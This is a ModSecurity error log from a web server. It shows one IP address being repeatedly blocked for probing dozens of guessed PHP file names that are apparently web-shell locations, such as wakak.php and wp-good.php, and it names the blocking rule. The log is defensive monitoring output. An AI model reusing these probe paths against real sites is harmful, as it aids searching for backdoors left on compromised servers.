[Wed Jan 07 00:17:35.495652 2026] [:error] [pid 45012:tid 45032] [client 20.196.88.169:15730] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sko.php"] [unique_id "aV01nxaMAxCuju1d0uZCPQAAANI"]
[Wed Jan 07 00:17:35.765193 2026] [:error] [pid 44904:tid 44965] [client 20.196.88.169:27613] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sko.php"] [unique_id "aV01nztieuI1BJEZcvdrNgAAAFg"]
[Wed Jan 07 00:17:36.036341 2026] [:error] [pid 44905:tid 44986] [client 20.196.88.169:27417] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sko.php"] [unique_id "aV01oLu7ufwWVst9EAshpQAAAJI"]
[Wed Jan 07 00:17:36.305617 2026] [:error] [pid 45012:tid 45030] [client 20.196.88.169:19225] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wakak.php"] [unique_id "aV01oBaMAxCuju1d0uZCQQAAANA"]
[Wed Jan 07 00:17:36.575936 2026] [:error] [pid 35140:tid 35164] [client 20.196.88.169:11587] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wakak.php"] [unique_id "aV01oHoQaIDFMbT-XMwI-wAAARY"]
[Wed Jan 07 00:17:36.853343 2026] [:error] [pid 45012:tid 45019] [client 20.196.88.169:18158] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wakak.php"] [unique_id "aV01oBaMAxCuju1d0uZCRQAAAMU"]
[Wed Jan 07 00:17:37.121982 2026] [:error] [pid 44904:tid 44951] [client 20.196.88.169:26858] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wakak.php"] [unique_id "aV01oTtieuI1BJEZcvdrOAAAAEo"]
[Wed Jan 07 00:17:37.391517 2026] [:error] [pid 44905:tid 44980] [client 20.196.88.169:27403] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww3.php"] [unique_id "aV01obu7ufwWVst9EAshpwAAAIw"]
[Wed Jan 07 00:17:37.660115 2026] [:error] [pid 44904:tid 44949] [client 20.196.88.169:12111] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww3.php"] [unique_id "aV01oTtieuI1BJEZcvdrOgAAAEg"]
[Wed Jan 07 00:17:37.929613 2026] [:error] [pid 45012:tid 45033] [client 20.196.88.169:27421] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww3.php"] [unique_id "aV01oRaMAxCuju1d0uZCSAAAANM"]
[Wed Jan 07 00:17:38.198503 2026] [:error] [pid 44903:tid 44921] [client 20.196.88.169:22775] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww3.php"] [unique_id "aV01othHqjs38zbkQPBRnQAAAA4"]
[Wed Jan 07 00:17:38.469710 2026] [:error] [pid 44903:tid 44907] [client 20.196.88.169:16168] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sang.php"] [unique_id "aV01othHqjs38zbkQPBRngAAAAA"]
[Wed Jan 07 00:17:38.743114 2026] [:error] [pid 44904:tid 44955] [client 20.196.88.169:28392] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sang.php"] [unique_id "aV01ojtieuI1BJEZcvdrPgAAAE4"]
[Wed Jan 07 00:17:39.011960 2026] [:error] [pid 44904:tid 44952] [client 20.196.88.169:19792] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sang.php"] [unique_id "aV01oztieuI1BJEZcvdrQAAAAEs"]
[Wed Jan 07 00:17:39.280922 2026] [:error] [pid 44905:tid 44987] [client 20.196.88.169:3305] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sang.php"] [unique_id "aV01o7u7ufwWVst9EAshqwAAAJM"]
[Wed Jan 07 00:17:39.553711 2026] [:error] [pid 45012:tid 45034] [client 20.196.88.169:24553] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "aV01oxaMAxCuju1d0uZCSgAAANQ"]
[Wed Jan 07 00:17:39.841930 2026] [:error] [pid 44903:tid 44930] [client 20.196.88.169:3303] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "aV01o9hHqjs38zbkQPBRoAAAABY"]
[Wed Jan 07 00:17:56.411221 2026] [:error] [pid 45012:tid 45035] [client 20.196.88.169:13455] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww2.php"] [unique_id "aV01tBaMAxCuju1d0uZCdwAAANU"]
[Wed Jan 07 00:17:56.678750 2026] [:error] [pid 45012:tid 45029] [client 20.196.88.169:23812] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww2.php"] [unique_id "aV01tBaMAxCuju1d0uZCeAAAAM8"]
[Wed Jan 07 00:17:56.952185 2026] [:error] [pid 44905:tid 44973] [client 20.196.88.169:22322] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww2.php"] [unique_id "aV01tLu7ufwWVst9EAsh0QAAAIU"]
[Wed Jan 07 00:17:57.222158 2026] [:error] [pid 44903:tid 44919] [client 20.196.88.169:23857] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww2.php"] [unique_id "aV01tdhHqjs38zbkQPBRswAAAAw"]
[Wed Jan 07 00:17:57.493034 2026] [:error] [pid 35140:tid 35153] [client 20.196.88.169:5413] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Contrller.php"] [unique_id "aV01tXoQaIDFMbT-XMwJEwAAAQs"]
[Wed Jan 07 00:17:57.761796 2026] [:error] [pid 44904:tid 44954] [client 20.196.88.169:28897] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Contrller.php"] [unique_id "aV01tTtieuI1BJEZcvdrVwAAAE0"]
[Wed Jan 07 00:17:58.035118 2026] [:error] [pid 44904:tid 44962] [client 20.196.88.169:23869] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Contrller.php"] [unique_id "aV01tjtieuI1BJEZcvdrWQAAAFU"]
[Wed Jan 07 00:17:58.307649 2026] [:error] [pid 44905:tid 44981] [client 20.196.88.169:5412] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Contrller.php"] [unique_id "aV01tru7ufwWVst9EAsh0wAAAI0"]
[Wed Jan 07 00:17:58.576414 2026] [:error] [pid 45959:tid 45981] [client 20.196.88.169:23835] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gtc.php"] [unique_id "aV01tlajdn8P3hjgMYwzLgAAAVM"]
[Wed Jan 07 00:17:58.860479 2026] [:error] [pid 45959:tid 45967] [client 20.196.88.169:28895] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gtc.php"] [unique_id "aV01tlajdn8P3hjgMYwzMQAAAUU"]
[Wed Jan 07 00:17:59.131563 2026] [:error] [pid 45012:tid 45017] [client 20.196.88.169:3391] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gtc.php"] [unique_id "aV01txaMAxCuju1d0uZCfAAAAMM"]
[Wed Jan 07 00:17:59.400605 2026] [:error] [pid 44904:tid 44947] [client 20.196.88.169:5430] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gtc.php"] [unique_id "aV01tztieuI1BJEZcvdrXgAAAEY"]
[Wed Jan 07 00:17:59.670486 2026] [:error] [pid 44903:tid 44911] [client 20.196.88.169:3074] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lte7.php"] [unique_id "aV01t9hHqjs38zbkQPBRtQAAAAQ"]
[Wed Jan 07 00:17:59.939931 2026] [:error] [pid 35140:tid 35156] [client 20.196.88.169:5431] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lte7.php"] [unique_id "aV01t3oQaIDFMbT-XMwJFAAAAQ4"]
[Wed Jan 07 00:18:00.210809 2026] [:error] [pid 35140:tid 35145] [client 20.196.88.169:3361] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lte7.php"] [unique_id "aV01uHoQaIDFMbT-XMwJFgAAAQM"]
[Wed Jan 07 00:18:00.485072 2026] [:error] [pid 35140:tid 35164] [client 20.196.88.169:22282] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lte7.php"] [unique_id "aV01uHoQaIDFMbT-XMwJFwAAARY"]
[Wed Jan 07 00:18:00.754466 2026] [:error] [pid 45959:tid 45978] [client 20.196.88.169:3230] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xa.php"] [unique_id "aV01uFajdn8P3hjgMYwzNgAAAVA"]
[Wed Jan 07 00:18:01.024421 2026] [:error] [pid 45959:tid 45983] [client 20.196.88.169:3367] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xa.php"] [unique_id "aV01uVajdn8P3hjgMYwzOAAAAVU"]
[Wed Jan 07 00:18:01.299780 2026] [:error] [pid 45959:tid 45964] [client 20.196.88.169:23860] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xa.php"] [unique_id "aV01uVajdn8P3hjgMYwzOQAAAUI"]
[Wed Jan 07 00:18:01.569086 2026] [:error] [pid 44905:tid 44992] [client 20.196.88.169:23843] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xa.php"] [unique_id "aV01ubu7ufwWVst9EAsh1wAAAJg"]
[Wed Jan 07 00:18:01.843286 2026] [:error] [pid 44905:tid 44987] [client 20.196.88.169:23808] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "aV01ubu7ufwWVst9EAsh2gAAAJM"]
[Wed Jan 07 00:18:02.112304 2026] [:error] [pid 44905:tid 44970] [client 20.196.88.169:5434] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "aV01uru7ufwWVst9EAsh2wAAAII"]
[Wed Jan 07 00:18:02.383230 2026] [:error] [pid 44903:tid 44920] [client 20.196.88.169:3244] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "aV01uthHqjs38zbkQPBRuQAAAA0"]
[Wed Jan 07 00:18:02.653600 2026] [:error] [pid 44903:tid 44924] [client 20.196.88.169:22292] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "aV01uthHqjs38zbkQPBRuwAAABE"]
[Wed Jan 07 00:18:02.924040 2026] [:error] [pid 44904:tid 44956] [client 20.196.88.169:30167] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xrp.php"] [unique_id "aV01ujtieuI1BJEZcvdrZAAAAE8"]
[Wed Jan 07 00:18:03.193029 2026] [:error] [pid 44905:tid 44982] [client 20.196.88.169:3356] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xrp.php"] [unique_id "aV01u7u7ufwWVst9EAsh3AAAAI4"]
[Wed Jan 07 00:18:03.463329 2026] [:error] [pid 44903:tid 44923] [client 20.196.88.169:3236] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xrp.php"] [unique_id "aV01u9hHqjs38zbkQPBRwAAAABA"]
[Wed Jan 07 00:18:03.731660 2026] [:error] [pid 44903:tid 44914] [client 20.196.88.169:23838] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xrp.php"] [unique_id "aV01u9hHqjs38zbkQPBRwwAAAAc"]
[Wed Jan 07 00:18:04.009972 2026] [:error] [pid 44903:tid 44933] [client 20.196.88.169:14181] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fesa.php"] [unique_id "aV01vNhHqjs38zbkQPBRxQAAABg"]
[Wed Jan 07 00:18:04.280957 2026] [:error] [pid 44905:tid 44991] [client 20.196.88.169:3375] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fesa.php"] [unique_id "aV01vLu7ufwWVst9EAsh3wAAAJc"]
[Wed Jan 07 00:18:04.550340 2026] [:error] [pid 45012:tid 45015] [client 20.196.88.169:23829] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fesa.php"] [unique_id "aV01vBaMAxCuju1d0uZChwAAAME"]
[Wed Jan 07 00:18:04.832792 2026] [:error] [pid 45959:tid 45980] [client 20.196.88.169:29553] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fesa.php"] [unique_id "aV01vFajdn8P3hjgMYwzPQAAAVI"]
[Wed Jan 07 00:18:05.114482 2026] [:error] [pid 44905:tid 44971] [client 20.196.88.169:5419] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsz.php"] [unique_id "aV01vbu7ufwWVst9EAsh4QAAAIM"]
[Wed Jan 07 00:18:05.383590 2026] [:error] [pid 45012:tid 45029] [client 20.196.88.169:3377] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsz.php"] [unique_id "aV01vRaMAxCuju1d0uZCiQAAAM8"]
[Wed Jan 07 00:18:05.652899 2026] [:error] [pid 44904:tid 44965] [client 20.196.88.169:23825] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsz.php"] [unique_id "aV01vTtieuI1BJEZcvdrZgAAAFg"]
[Wed Jan 07 00:18:05.925210 2026] [:error] [pid 44905:tid 44986] [client 20.196.88.169:30147] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsz.php"] [unique_id "aV01vbu7ufwWVst9EAsh4wAAAJI"]
[Wed Jan 07 00:18:06.196979 2026] [:error] [pid 44905:tid 44990] [client 20.196.88.169:23846] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/horeg.php"] [unique_id "aV01vru7ufwWVst9EAsh5QAAAJY"]
[Wed Jan 07 00:18:06.467608 2026] [:error] [pid 44905:tid 44981] [client 20.196.88.169:5388] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/horeg.php"] [unique_id "aV01vru7ufwWVst9EAsh5gAAAI0"]
[Wed Jan 07 00:18:06.741952 2026] [:error] [pid 44903:tid 44920] [client 20.196.88.169:17064] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/horeg.php"] [unique_id "aV01vthHqjs38zbkQPBRzgAAAA0"]
[Wed Jan 07 00:18:07.028329 2026] [:error] [pid 45959:tid 45975] [client 20.196.88.169:14190] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/horeg.php"] [unique_id "aV01v1ajdn8P3hjgMYwzRQAAAU0"]
